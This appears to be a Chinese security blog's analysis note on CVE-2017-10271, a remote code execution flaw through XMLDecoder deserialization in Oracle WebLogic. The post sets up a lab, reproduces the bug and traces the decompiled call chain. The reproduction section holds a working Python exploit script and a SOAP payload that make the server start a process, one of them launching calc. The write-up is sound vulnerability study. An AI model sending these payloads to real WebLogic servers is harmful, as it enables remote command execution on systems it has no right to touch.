CVE-2017-10271-分析笔记
Auth: Chenergy@gnusec
我们的新进的小伙伴Chenergy后续将带来一系列的Java安全研究文章,敬请期待!
0x00 前言
这篇分析笔记包含了CVE-2017-10271的实验环境搭建、漏洞复现、漏洞分析等主要环节。如有谬误还请指正!如有其他建议,请您多多指教!
0x01 实验环境搭建
- 靶机:Win 7 x64
- JDK 1.8.0_151
- Weblogic 12.1.3.0.0
- jd-gui.exe
- IntelliJ IDEA 2017.1.3
在搭建Weblogic Server的时候,参考了《Weblogic下载安装以及部署》。
- 攻击机:Kali 2
在攻击机上运行CVE-2017-10271.py。
0x02 漏洞复现
方法1:在Kali Linux运行Python脚本
修改CVE-2017-10271.py为:CVE-2017-10271.pyhttps://github.com/Jumbo-WJB/notes/blob/master/CVE-2017-10271.py 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import requests
import sys
url = sys.argv[1] + "/wls-wsat/CoordinatorPortType"
print url
headers = {
"X-Forwarded-For": "10.244.31.175",
"User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
"Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",
"Content-Type": "text/xml"
}
data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string></string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
req = requests.post(url, data=data, headers=headers)
print req.content, req.headers运行这段python脚本。
方法2:使用IntelliJ IDEA的
"Test RESTful Web Service"
仿照方法1的python脚本,填写好”Http method””Host/port””Path””Headers””Request Parameters”等内容。接着按下”Submit Request”按钮。
0x03 漏洞分析
在做漏洞分析时,主要参照了《CVE-2017-3506 & 10271:Weblogic 远程代码执行漏洞分析及复现笔记》。
- 漏洞触发位置:wls-wsat.war
- 漏洞触发URL:/wls-wsat/CoordinatorPortType(POST)
- 漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
由于Weblogic并非开源项目,为了分析执行流,需要对weblogic.jar进行反编译。这里我使用jd.gui.exe进行反编译。
接着,对漏洞的以下调用链进行分析:
- weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
- weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
- weblogic.wsee.workarea.WorkContextXmlInputAdapter
首先看weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法。
第43行,readHeaderOld()方法的参数是localHeader1。.png)
localHeader1变量由第41行定义,通过跟进至WorkAreaConstants接口,我们可以发现其值为<work:WorkContext> </work:WorkContext>标签包裹的数据。
如:1
2
3
4
5
6
7
8
9
10
11<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
继续跟进readHeaderOld()方法。(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)。
在第106行,实例化了WorkContextXmlInputAdapter对象。而构造方法的参数是new ByteArrayInputStream(localByteArrayOutputStream.toByteArray()),是序列化的数据。
继续跟进至WorkContextXmlInputAdapter类。(weblogic.wsee.workarea.WorkContextXmlInputAdapter)。我们可以发现构造方法中进行了XMLDecoder反序列化,这里是漏洞产生的根源。
我也搭建了一个XMLDecoder反序列化的工程来对漏洞产生的根源进行验证。
工程中的核心代码如下:
1 | public static void main(String[] args) throws IOException |
工程运用的x.xml内容如下:
1 | xml version="1.0" encoding="UTF-8" |
而360攻防实验室的博文《关于近期发生的利用weblogic漏洞进行挖矿事件的漏洞简要分析 》能够画出方法调用图:
这应该是构造了一个包含了weblogic.jar的工程,然后使用IntelliJ IDEA进行反编译与调试。这点有待继续学习。
0x04 反思
- 分析非开源项目的执行流时,可能需要借助反编译;
- 为了防范反序列化漏洞,在做代码审计的时候,应重点关注和序列化相关的代码;
- 有时要
"以终为始",比如先确定目的是"找反序列化漏洞",接着要对过程进行构造。构造的过程需要"搜索"(比如借助反编译工具的搜索功能搜索)与"拼凑"(比如把SOAP、RMI等技术运用进来); - 知乎专栏或搜狗微信搜索可能有较高质量的文章。
0x05 其他参考链接
【影响范围】
FREEBUF.漏洞预警 | WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
【漏洞修复建议】
CNVD.关于WebLogic Server WLS 组件存在远程命令执行漏洞的安全公告
【WAF自定义规则防护、挖矿木马检测】
绿盟科技.【处置建议】Weblogic WLS 组件漏洞
OracleWeblogic12C安装教程和在IDEA部署WebLogic12C项目分享经验
